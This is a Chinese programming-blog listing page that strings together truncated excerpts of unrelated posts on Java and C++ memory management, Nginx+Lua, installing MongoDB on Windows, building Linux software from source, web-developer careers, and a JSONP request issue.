1、确定目标
学习编程语言既充满乐趣,又充满挑战。有些花费多年时间学习一门编程语言的大学生到
Java面试十问之三:Java与C++内存回收机制的差别
HNUlanwei
java C++ finalize() 堆栈 内存回收
大家知道, Java 除了那 8 种基本类型以外,其他都是对象类型(又称为引用类型)的数据。 JVM 会把程序创建的对象存放在堆空间中,那什么又是堆空间呢?其实,堆( Heap)是一个运行时的数据存储区,从它可以分配大小各异的空间。一般,运行时的数据存储区有堆( Heap)和堆栈( Stack),所以要先看它们里面可以分配哪些类型的对象实体,然后才知道如何均衡使用这两种存储区。一般来说,栈中存放的
第二章 Nginx+Lua开发入门
jinnianshilongnian
nginx lua
Nginx入门
本文目的是学习Nginx+Lua开发,对于Nginx基本知识可以参考如下文章:
nginx启动、关闭、重启
http://www.cnblogs.com/derekchen/archive/2011/02/17/1957209.html
agentzh 的 Nginx 教程
http://openresty.org/download/agentzh-nginx-tutor
MongoDB windows安装 基本命令
liyonghui160com
windows安装
安装目录:
D:\MongoDB\
新建目录
D:\MongoDB\data\db
4.启动进城:
cd D:\MongoDB\bin
mongod -dbpath D:\MongoDB\data\db
&n
Linux下通过源码编译安装程序
pda158
linux
一、程序的组成部分 Linux下程序大都是由以下几部分组成: 二进制文件:也就是可以运行的程序文件 库文件:就是通常我们见到的lib目录下的文件 配置文件:这个不必多说,都知道 帮助文档:通常是我们在linux下用man命令查看的命令的文档
二、linux下程序的存放目录 linux程序的存放目录大致有三个地方: /etc, /b
WEB开发编程的职业生涯4个阶段
shw3588
编程 Web 工作 生活
觉得自己什么都会
2007年从学校毕业,凭借自己原创的ASP毕业设计,以为自己很厉害似的,信心满满去东莞找工作,找面试成功率确实很高,只是工资不高,但依旧无法磨灭那过分的自信,那时候什么考勤系统、什么OA系统、什么ERP,什么都觉得有信心,这样的生涯大概持续了约一年。
根本不是自己想的那样
2008年开始接触很多工作相关的东西,发现太多东西自己根本不会,都需要去学,不管是asp还是js,
遭遇jsonp同域下变作post请求的坑
vb2005xu
jsonp 同域post
今天迁移一个站点时遇到一个坑爹问题,同一个jsonp接口在跨域时都能调用成功,但是在同域下调用虽然成功,但是数据却有问题. 此处贴出我的后端代码片段
$mi_id = htmlspecialchars(trim($_GET['mi_id ']));
$mi_cv = htmlspecialchars(trim($_GET['mi_cv ']));
贴出我前端代码片段:
$.aj